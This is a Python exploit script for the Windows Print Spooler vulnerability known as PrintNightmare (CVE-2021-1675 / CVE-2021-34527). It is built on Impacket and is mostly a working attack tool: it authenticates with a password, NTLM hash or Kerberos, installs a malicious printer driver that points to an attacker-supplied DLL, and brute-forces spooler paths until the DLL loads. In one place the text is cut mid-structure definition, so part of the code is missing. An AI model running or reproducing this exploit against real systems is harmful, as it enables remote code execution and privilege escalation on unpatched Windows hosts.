#!/usr/bin/python3 # # PrintNightmare (CVE-2021-1675 / CVE-2021-34527) # # Authors: # @ly4k (https://github.com/ly4k) # # Credit: # @cube0x0 (https://github.com/cube0x0) # # Description: # PrintNightmare implementation using standard Impacket # # PrintNightmare consists of two CVE's, CVE-2021-1675 & CVE-2021-34527. # # CVE-2021-1675 # A non-administrator user is allowed to add a new printer driver. # This vulnerability was fixed by only allowing administrators to # add a new printer driver. A patched printer spooler will return RPC_E_ACCESS_DENIED # whenever a non-administrator tries to add a new printer driver. # # CVE-2021-34527 # When creating a new printer driver, the pDriverPath and pConfigFile parameters # are checked for UNC paths, and is only allowed to be local paths. However, # the pDataFile parameter is not constrained to local paths. Only pDriverPath and pConfigFile # will be loaded for security reaons, not pDataFile. This vulnerability was fixed by not allowing # UNC paths in the pDataFile parameter. A patched printer spooler will return ERROR_INVALID_PARAMETER # when using a UNC path in pDataFile. # # This exploit also works with a local path instead of an UNC path. import sys import logging import argparse import pathlib from impacket import system_errors, version from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.structure import Structure from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR from impacket.dcerpc.v5.rprn import ( checkNullString, STRING_HANDLE, PBYTE_ARRAY, ) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return "RPRN SessionError: code: 0x%x - %s - %s" % ( self.error_code, error_msg_short, error_msg_verbose, ) else: return "RPRN SessionError: unknown error code: 0x%x" % self.error_code ################################################################################ # CONSTANTS ################################################################################ # MS-RPRN - 3.1.4.4.8 APD_COPY_ALL_FILES = 0x00000004 APD_COPY_FROM_DIRECTORY = 0x00000010 APD_INSTALL_WARNED_DRIVER = 0x00008000 # MS-RPRN - 3.1.4.4.7 DPD_DELETE_UNUSED_FILES = 0x00000001 # https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3 RPC_E_ACCESS_DENIED = 0x8001011B system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = ( "RPC_E_ACCESS_DENIED", "Access is denied.", ) ################################################################################ # STRUCTURES ################################################################################ # MS-RPRN - 2.2.1.5.1 class DRIVER_INFO_1(NDRSTRUCT): structure = (("pName", STRING_HANDLE),) class PDRIVER_INFO_1(NDRPOINTER): referent = (("Data", DRIVER_INFO_1),) # MS-RPRN - 2.2.1.5.2 class DRIVER_INFO_2(NDRSTRUCT): structure = ( ("cVersion", DWORD), ("pName", LPWSTR), ("pEnvironment", LPWSTR), ("pDriverPath", LPWSTR), ("pDataFile", LPWSTR), ("pConfigFile", LPWSTR), ) class PDRIVER_INFO_2(NDRPOINTER): referent = (("Data", DRIVER_INFO_2),) class DRIVER_INFO_2_BLOB(Structure): structure = ( ("cVersion", "\, where is incremented # for each DLL. To find the remote DLL requires a subtle bruteforcing. Usually, # it will work in second iteration if run for the first time. If the exploit # is run again and the same filename is used, the first DLL will get loaded, since # it's not immediately removed from the 'old' directory. driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString( "C:\\Windows\\System32\\ntdll.dll" ) try: resp = hRpcAddPrinterDriverEx( dce, pName=NULL, pDriverContainer=driver_container, dwFileCopyFlags=flags, ) except DCERPCSessionError as e: print("Got unexpected error: %s" % e) i = 1 while True: driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString( "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s" % (i, filename) ) try: resp = hRpcAddPrinterDriverEx( dce, pName=NULL, pDriverContainer=driver_container, dwFileCopyFlags=flags, ) if resp["ErrorCode"] == 0: logging.info( "Successfully loaded DLL from: %s" % ( "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s" % (i, filename) ) ) sys.exit(1) except DCERPCSessionError as e: if e.error_code == system_errors.ERROR_PATH_NOT_FOUND: logging.warning("Loading DLL failed. Try again.") sys.exit(1) if e.error_code != system_errors.ERROR_FILE_NOT_FOUND: logging.warning( "Got unexpected error while trying to load DLL: %s" % e ) i += 1 if __name__ == "__main__": print(version.BANNER) logger.init() parser = argparse.ArgumentParser( add_help=True, description="PrintNightmare (CVE-2021-1675 / CVE-2021-34527)", ) parser.add_argument( "target", action="store", help="[[domain/]username[:password]@]", ) parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") group = parser.add_argument_group("connection") group.add_argument( "-port", choices=["139", "445"], nargs="?", default="445", metavar="destination port", help="Destination port to connect to MS-RPRN named pipe", ) group.add_argument( "-target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If " "ommited it will use whatever was specified as target. This is useful when target is the NetBIOS " "name and you cannot resolve it", ) group = parser.add_argument_group("authentication") group.add_argument( "-hashes", action="store", metavar="LMHASH:NTHASH", help="NTLM hashes, format is LMHASH:NTHASH", ) parser.add_argument( "-no-pass", action="store_true", help="don't ask for password (useful for -k)" ) parser.add_argument( "-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file " "(KRB5CCNAME) based on target parameters. If valid credentials " "cannot be found, it will use the ones specified in the command " "line", ) parser.add_argument( "-dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter", ) group = parser.add_argument_group("driver") group.add_argument( "-name", action="store", metavar="driver name", default="Microsoft XPS Document Writer v5", help="Name for driver", ) group.add_argument( "-env", action="store", metavar="driver name", default="Windows x64", help="Environment for driver", ) group.add_argument( "-path", action="store", metavar="driver path", help="Driver path for driver" ) group.add_argument("-dll", action="store", metavar="driver dll", help="Path to DLL") group = parser.add_argument_group("modes") group.add_argument( "-check", action="store_true", help="Check if target is vulnerable" ) group.add_argument( "-list", action="store_true", help="List existing printer drivers", ) group.add_argument("-delete", action="store_true", help="Deletes printer driver") if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remote_name = parse_target(options.target) if domain is None: domain = "" if ( password == "" and username != "" and options.hashes is None and options.no_pass is not True ): from getpass import getpass password = getpass("Password:") if options.target_ip is None: options.target_ip = remote_name if options.path is None: options.path = "" print_nightmare = PrintNightmare( username=username, password=password, domain=domain, hashes=options.hashes, do_kerberos=options.k, dc_host=options.dc_ip, port=int(options.port), remote_name=remote_name, target_ip=options.target_ip, ) if options.check is not False: if print_nightmare.check(): logging.info("Target appears to be vulnerable!") else: logging.warning("Target does not appear to be vulnerable") sys.exit(1) if options.list is not False: for driver in print_nightmare.list(options.env): print("Name: %s" % driver["Name"]) print("Environment: %s" % driver["Environment"]) print("Driver path: %s" % driver["DriverPath"]) print("Data file: %s" % driver["DataFile"]) print("Config file: %s" % driver["ConfigFile"]) print("Version: %s" % driver["cVersion"]) print("-" * 64) sys.exit(1) if options.delete is not False: print_nightmare.delete(options.env, options.name) sys.exit(1) if options.dll is None: logging.error("A path to a DLL is required when running the exploit") sys.exit(1) print_nightmare.exploit(options.name, options.env, options.path, options.dll)